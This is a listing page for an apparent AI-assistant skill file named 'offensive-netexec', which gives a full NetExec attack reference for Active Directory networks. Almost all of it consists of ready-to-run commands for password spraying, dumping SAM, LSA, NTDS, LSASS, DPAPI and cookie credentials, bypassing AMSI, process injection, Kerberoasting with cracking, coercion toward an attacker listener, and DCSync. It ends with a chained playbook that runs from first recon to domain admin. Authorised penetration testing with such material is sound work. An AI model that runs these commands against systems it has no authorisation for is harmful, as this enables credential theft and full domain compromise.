offensive-netexec
Use this skill whenever the user asks about NetExec (nxc) — a network exploitation and post-exploitation tool for Active Directory environments. Tri…
安装
npx skills add SnailSploit/Claude-Red收录说明
来自 SnailSploit/Claude-Red（10,268 stars），仓库最近更新 2026-10-12。尚未人工实测。
SKILL.md 原文
# NetExec (nxc) — Reference Skill
## Global Syntax & Options
```
nxc <protocol> <target(s)> [auth options] [action options] [global options]
```
### Available Protocols
`smb` `ssh` `ldap` `ftp` `wmi` `winrm` `rdp` `vnc` `mssql` `nfs`
### Target Formats
```bash
nxc smb 192.168.1.0/24 # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28 # IP range
nxc smb dc01.corp.local # Hostname
nxc smb ~/targets.txt # File
```
### Global Flags
| Flag | Description |
|------|-------------|
| `-t THREADS` | Concurrent threads (default: 100) |
| `--timeout TIMEOUT` | Per-thread timeout in seconds |
| `--jitter INTERVAL` | Random delay between connections (e.g. `3`, `2-5`, `4-4`) |
| `--no-progress` | Suppress progress bar |
| `--verbose` | Verbose output |
| `--debug` | Debug-level output |
---
## Authentication
### Core Auth Flags
```bash
-u USERNAME # Single username
-u user1 user2 # Multiple usernames
-u ~/users.txt # Username file
-p PASSWORD # Plaintext password
-p 'P@ss!' # Always quote special chars
-p='-P@ss' # Use = for passwords starting with -
-H 'NTHASH' # NT hash only
-H 'LM:NT' # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'
-id <cred_id> # Use credential from nxcdb
--local-auth # Authenticate as local user (not domain)
```
### Domain Auth (SMB example)
```bash
nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'
```
### Local Auth
```bash
nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth
```
### Kerberos Auth
```bash
# Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k
# Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache
# Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local
```
### Multi-Domain Environments
```bash
# users.txt format:
# DOMAIN1\user1
# DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'
```
### Output Color Codes
- **RED** — Authentication failed
- **GREEN** — Authentication succeeded
- **MAGENTA** — Password valid but account is not admin
- **`(Pwn3d!)`** — Admin access / code execution available
### Pwn3d! Meaning by Protocol
| Protocol | Pwn3d! Meaning |
|----------|---------------|
| SMB | Local/domain admin access |
| WMI | Local admin |
| WinRM | Code execution |
| RDP | Code execution |
| VNC | Code execution |
| LDAP | Path to Domain Admin |
| SSH | Root access |
| FTP | No check |
---
## Password Spraying & Brute Force
```bash
# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success
# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt
# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce
# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5
# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)
# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success
```
> ⚠️ **OpSec**: Jitter works per-host. Spraying against multiple hosts
> multiplies authentication attempts. Monitor domain lockout policy before
> spraying (use `--pass-pol` first).
---
## SMB Protocol
### Network Discovery
```bash
# Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24
# Expected output:
# SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)
```
### Enumeration
```bash
# Shares and access
nxc smb <ip> -u user -p pass --shares
# Null session share enum
nxc smb <ip> -u '' -p '' --shares
# Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares
# Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt
# Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000 # Set max RID
# Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol
# Logged-on users (requires admin)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser
# Active Windows sessions (registry-based, no admin needed)
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'
# Active sessions via QWINSTA (admin required)
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser
# Local groups
nxc smb 192.168.1.0/24 -u user -p pass --local-group
# Disks
nxc smb 192.168.1.0/24 -u user -p pass --disks
# Network interfaces (admin required)
nxc smb <ip> -u user -p pass --interfaces
# Null sessions
nxc smb <ip> -u '' -p ''
# SMB signing not required (relay attack candidates)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Check for NTLMv1 (via remote registry, admin required)
nxc smb <ip> -u user -p pass -M ntlmv1
# Enumerate AV/EDR (no admin needed)
nxc smb <ip> -u user -p pass -M enum_av
# Enumerate BitLocker status
nxc smb <ip> -u user -p pass -M bitlocker
# Enumerate remote processes (admin required)
nxc smb <ip> -u user -p pass --remote-processes
# Check for lockscreen backdoors (admin required)
nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors
```
### Spidering Shares
```bash
# Spider specific share for file pattern
nxc smb <ip> -u user -p pass --spider C\$ --pattern txt
# Spider all readable shares (list only)
nxc smb <ip> -u user -p pass -M spider_plus
# Spider and download all files
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
# Filter by content/regex
nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'
```
### File Operations
```bash
# Get a file
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt
# Put a file
nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt
```
### Command Execution
Requires admin/Pwn3d! access.
```bash
# Execute cmd command (-x)
nxc smb <ip> -u Administrator -p 'Pass' -x whoami
# Execute PowerShell command (-X)
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'
# Force specific execution method
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec
# Bypass AMSI for PowerShell
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload
# Process Injection — run as another user's process (SYSTEM needed)
nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami
```
**Execution method order (automatic fallback):** wmiexec → atexec → smbexec
### Credential Dumping via SMB
All methods below require local admin unless noted.
```bash
# SAM hashes (local accounts)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump # fallback method
# LSA secrets (requires Domain Admin or Local Admin on DC)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump
# NTDS.dit — full AD hash dump (requires Domain Admin)
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled # active accounts only
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss # VSS method
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator # multi-domain
# NTDS via ntdsutil module
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil
# NTDS via raw disk access
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS
# LSASS dump
nxc smb <ip> -u Administrator -p 'Pass' -M lsassy
nxc smb <ip> -u Administrator -p 'Pass' -M nanodump
nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz # deprecated
# DPAPI — browser creds, Credential Manager
nxc smb <ip> -u user -p pass --dpapi
nxc smb <ip> -u user -p pass --dpapi cookies # include browser cookies
nxc smb <ip> -u user -p pass --dpapi nosystem # skip system creds (stealth)
nxc smb <ip> -u user -p pass --local-auth --dpapi nosystem
# Azure/M365 token cache (WAM)
nxc smb <ip> -u user -p pass -M wam
nxc smb <ip> -u user -p pass -M wam --mkfile masterkeys.txt
nxc smb <ip> -u user -p pass -M wam --pvk domain_backup_key.pvk
# BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)
nxc smb <ip> -u user -p pass -M backup_operator
# SCCM credentials
nxc smb <ip> -u user -p pass --sccm
nxc smb <ip> -u user -p pass --sccm disk
nxc smb <ip> -u user -p pass --sccm wmi
# Credential manager applications
nxc smb <ip> -u user -p pass -M keepass_discover
nxc smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="/path/from/discovery"
nxc smb <ip> -u user -p pass -M veeam
nxc smb <ip> -u user -p pass -M wifi
nxc smb <ip> -u user -p pass -M winscp
nxc smb <ip> -u user -p pass -M vnc
nxc smb <ip> -u user -p pass -M mremoteng
nxc smb <ip> -u user -p pass -M rdcman
nxc smb <ip> -u user -p pass -M putty
# Notepad / Notepad++ unsaved documents
nxc smb <ip> -u user -p pass -M notepad
nxc smb <ip> -u user -p pass -M notepad++
```
### Vulnerability Scanning
```bash
# ZeroLogon (CVE-2020-1472)
nxc smb <ip> -u '' -p '' -M zerologon
# noPAC / Sam-The-Admin (needs creds)
nxc smb <ip> -u user -p pass -M nopac
# PrintNightmare
nxc smb <ip> -u '' -p '' -M printnightmare
# SMBGhost (CVE-2020-0796)
nxc smb <ip> -u '' -p '' -M smbghost
# EternalBlue MS17-010
nxc smb <ip> -u '' -p '' -M ms17-010
# NTLM Reflection (CVE-2025-33073) — needs creds
nxc smb <ip> -u user -p pass -M ntlm_reflection
# Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)
nxc smb <ip> -u '' -p '' -M coerce_plus
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam # or pe, dfs, pr
# Run multiple vuln checks at once
nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost
```
### LAPS
```bash
# Read LAPS password (if you have a user with ReadLAPSPassword rights)
nxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name
```
### Delegation Abuse
```bash
# RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator
# S4U2Self — with computer account nearly always gets local admin
nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self
```
### Miscellaneous SMB
```bash
# Impersonate logged-on users
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami
# Change user password
nxc smb <ip> -u user -p pass --change-password newpassword
# Modify group membership
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser
# Dump Teams cookies
nxc smb <ip> -u user -p pass -M teams_localdb
# Steal Teams cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies
# Check spooler / WebDAV running
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav
# Defeating LAPS — read password if privileged
nxc smb <ip> -u privilegeduser -p pass --laps
```
---
## LDAP Protocol
### Authentication / Basic
```bash
nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local
```
### User Enumeration
```bash
nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count # Users with adminCount=1
```
### Group Enumeration
```bash
nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"
```
### Domain Info
```bash
nxc ldap <ip> -u user -p pass --dc-list # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid # Domain SID
nxc ldap <ip> -u user -p pass --trusts # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing # LDAP signing config
```
### Kerberos Attacks
```bash
# ASREPRoast — no auth needed if you have usernames
nxc ldap <ip> -u '' -p '' --asreproast output.txt # anonymous (if allowed)
nxc ldap <ip> -u users.txt -p '' --asreproast output.txt
nxc ldap <ip> -u user -p pass --asreproast output.txt # authenticated (finds all)
nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local
# Crack with hashcat
hashcat -m18200 output.txt wordlist.txt
# Kerberoasting
nxc ldap <ip> -u user -p pass --kerberoasting output.txt
# Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list
# Kerberoasting via AS-REP roastable account
nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt
# Crack with hashcat
hashcat -m13100 output.txt wordlist.txt
# Pre2k Computer Account Abuse
nxc ldap <ip> -u user -p pass -M pre2k
# Tickets saved to ~/.nxc/modules/pre2k/ccache/
```
### Privilege Escalation & Delegation
```bash
# Find all misconfigured delegations (Unconstrained, Constrained, RBCD)
nxc ldap <ip> -u user -p pass --find-delegation
# Unconstrained delegation accounts
nxc ldap <ip> -u user -p pass --unconstrained-delegation
```
### ACL / DACL Analysis
```bash
# Read all ACEs on a target object
nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read
# Check what rights a specific principal has on a target
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp
# Find who has DCSync rights
nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
# Check for DENY ACEs
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied
# Backup DACLs for multiple targets
nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup
```
### Credential & Secret Extraction
```bash
# Dump gMSA passwords (requires right; uses LDAPS automatically)
nxc ldap <ip> -u user -p pass --gmsa
# Extract gMSA secrets
nxc ldap <ip> -u user -p pass -M get-gmsa-creds
# Read DACL rights on gMSA
nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>
```
### BloodHound Data Collection
```bash
nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOn
```
### SCCM / Entra ID / DNS
```bash
# SCCM enumeration
nxc ldap <ip> -u user -p pass -M enum-sccm
# Entra ID enumeration
nxc ldap <ip> -u user -p pass --entra-id
# Unsecured DNS zones
nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones
# Custom LDAP query
nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"
```
### raisechild — Domain Trust Escalation
```bash
nxc ldap <ip> -u user -p pass -M raisechild
```
---
## WinRM Protocol
```bash
# Check auth
nxc winrm <ip> -u user -p pass
# Execute command
nxc winrm <ip> -u user -p pass -X whoami
# Credential dumping (admin required)
nxc winrm <ip> -u user -p pass --sam
nxc winrm <ip> -u user -p pass --lsa
nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds
```
> **Pwn3d!** on WinRM = code execution is possible. Use `evil-winrm` for
> interactive shell: `evil-winrm -i <ip> -u user -p pass`
---
## WMI Protocol
```bash
# Auth check
nxc wmi <ip> -u user -p pass
# Password spray
nxc wmi <ip> -u ~/users.txt -p ~/passwords.txt
# Execute command
nxc wmi <ip> -u user -p pass -x whoami
```
---
## MSSQL Protocol
```bash
# Auth check (domain)
nxc mssql <ip> -u user -p pass
# Auth check (local SQL account)
nxc mssql <ip> -u sa -p 'P@ssw0rd' --local-auth
# Run SQL query
nxc mssql <ip> -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
# OS command via xp_cmdshell (requires sysadmin)
nxc mssql <ip> -u sa -p pass -x whoami
# Password spray
nxc mssql <ip> -u ~/users.txt -p ~/passwords.txt --no-bruteforce
# Privilege escalation — check for impersonation rights
nxc mssql <ip> -u user -p pass -M mssql_priv
# Escalate to sysadmin
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=privesc
# Rollback (after engagement)
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=rollback
# Enumerate users by RID brute
nxc mssql <ip> -u user -p pass --rid-brute
# Linked servers
nxc mssql <ip> -u user -p pass --mssql-linked-servers
# Upload/download files
nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\\remote\\file.txt
nxc mssql <ip> -u user -p pass --get-file C:\\remote\\file.txt /local/file.txt
```
---
## SSH Protocol
```bash
# Auth check
nxc ssh <ip> -u user -p pass
nxc ssh <ip> -u root -p pass # Pwn3d! if root
# Password spray
nxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt
# Execute command
nxc ssh <ip> -u user -p pass -x whoami
# File transfer
nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file
nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file
```
---
## RDP Protocol
```bash
# Auth check / password spray
nxc rdp <ip> -u user -p pass
nxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt
# Screenshot without NLA (unauthenticated)
nxc rdp <ip> -u '' -p '' --screenshot --screentime 5
# Screenshot with auth
nxc rdp <ip> -u user -p pass --screenshot
# Execute command
nxc rdp <ip> -u user -p pass -x whoami
```
---
## VNC Protocol
```bash
# Auth check
nxc vnc <ip> -u user -p pass
# Screenshot
nxc vnc <ip> --screenshot
```
---
## FTP Protocol
```bash
# Auth check / spray
nxc ftp <ip> -u user -p pass
nxc ftp <ip> -u ~/users.txt -p ~/passwords.txt
# List files
nxc ftp <ip> -u user -p pass --ls
# Download / upload
nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt
nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt
```
---
## NFS Protocol
```bash
# Enumerate exports
nxc nfs <ip>
nxc nfs <ip> -u user -p pass --enum-shares
# Download / upload
nxc nfs <ip> --get-file /remote/path/file.txt /local/file.txt
nxc nfs <ip> --put-file /local/file.txt /remote/path/
# chmod on remote file
nxc nfs <ip> -u user -p pass --chmod 777 /remote/file.txt
# Escape to root filesystem
nxc nfs <ip> -u user -p pass --chroot
```
---
## Modules System
```bash
# List all modules for a protocol
nxc smb -L
nxc ldap -L
nxc winrm -L
# View module options
nxc smb -M lsassy --options
# Run a module
nxc smb <ip> -u user -p pass -M lsassy
# Run with options
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
# Run MULTIPLE modules at once (v1.1+)
nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp
```
---
## Logging & Audit Mode
```bash
# Log all results to file
nxc smb <target> -u user -p pass --log results.txt
# Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)
# Set: audit_mode = * (or any character to use as redaction mask)
```
## Pentest Scenario Example (Chained Workflows)
### Initial Recon (No Creds)
```bash
# 1. Discover live hosts and SMB info
nxc smb 192.168.1.0/24
# 2. Find hosts without SMB signing (relay targets)
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt
# 3. Check null session / guest logon
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u 'a' -p ''
# 4. Enumerate shares with null session
nxc smb 192.168.1.0/24 -u '' -p '' --shares
# 5. ASREPRoast with username wordlist
nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt
```
### With Domain Creds (Low Privilege)
```bash
# 1. Collect BloodHound data
nxc ldap <dc_ip> -u user -p pass --bloodhound --collection All
# 2. Get password policy
nxc smb <dc_ip> -u user -p pass --pass-pol
# 3. Enumerate all users
nxc ldap <dc_ip> -u user -p pass --users-export users.txt
# 4. Kerberoast
nxc ldap <dc_ip> -u user -p pass --kerberoasting kerberoast.txt
hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# 5. Find delegation misconfigs
nxc ldap <dc_ip> -u user -p pass --find-delegation
# 6. Check DACL rights on Domain Admins
nxc ldap <dc_ip> -k -M daclread -o TARGET="Domain Admins" ACTION=read
# 7. Scan for vulns
nxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus
```
### With Local Admin (Lateral Movement)
```bash
# 1. Dump SAM / LSA on target
nxc smb <ip> -u localadmin -p pass --local-auth --sam
nxc smb <ip> -u localadmin -p pass --local-auth --lsa
# 2. Dump LSASS (get domain creds)
nxc smb <ip> -u localadmin -p pass --local-auth -M lsassy
# 3. Spray dumped hashes across subnet
nxc smb 192.168.1.0/24 -u Administrator -H <NTHASH> --local-auth
# 4. Spider shares for sensitive files
nxc smb 192.168.1.0/24 -u user -p pass -M spider_plus
```
### With Domain Admin
```bash
# 1. Dump NTDS.dit
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' --ntds
# 2. DCSync specific user
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='"lsadump::dcsync /domain:corp.local /user:krbtgt"'
# 3. Dump all DPAPI secrets at scale
nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem
```
---
## Quick Reference: Flag Cheatsheet
| Flag | Purpose |
|------|---------|
| `-u` | Username(s) or file |
| `-p` | Password(s) or file |
| `-H` | NTLM hash |
| `-k` | Kerberos auth |
| `--use-kcache` | Use KRB5CCNAME ticket |
| `--local-auth` | Local user (not domain) |
| `--id` | Use cred ID from DB |
| `-x` | Run CMD command |
| `-X` | Run PowerShell command |
| `--exec-method` | Force wmiexec/atexec/smbexec |
| `-M` | Module name (repeatable) |
| `-o` | Module options KEY=value |
| `-L` | List available modules |
| `--sam` | Dump SAM hashes |
| `--lsa` | Dump LSA secrets |
| `--ntds` | Dump NTDS.dit |
| `--dpapi` | Dump DPAPI secrets |
| `--shares` | Enumerate SMB shares |
| `--users` | Enumerate users |
| `--pass-pol` | Get domain password policy |
| `--loggedon-users` | List logged-on users |
| `--spider` | Spider a share |
| `--laps` | Read LAPS password |
| `--asreproast` | ASREPRoast to file |
| `--kerberoasting` | Kerberoast to file |
| `--bloodhound` | Run BloodHound collector |
| `--find-delegation` | Find delegation misconfigs |
| `--no-bruteforce` | Pair user[i]:pass[i] mode |
| `--continue-on-success` | Don't stop at first valid |
| `--jitter` | Delay between requests |
| `--gen-relay-list` | Output relay-able hosts |
| `--delegate` | RBCD/S4U2Self impersonation |
| `--gmsa` | Dump gMSA passwords |
| `--ignore-opsec-warnings` | Suppress opsec warnings |同类技能
- offensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodH…
- ctf-ai-mlProvides AI and machine learning techniques for CTF challenges. Use when attacking ML models, crafting adver…
- 007Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, inciden…
- active-directory-attacksThis skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "D…
- ctf-cryptoProvides cryptography attack techniques for CTF challenges. Use when attacking encryption, hashing, signatur…
- idea-devils-advocate想法群聊室 — 反方角色。被 idea-team 主编排器调用，或用户单独说"反方意见"、"挑这个想法的刺"、"为什么会失败"、"找漏洞 / 反例"、"devil's advocate"时触发。**专门挑漏洞、找隐藏…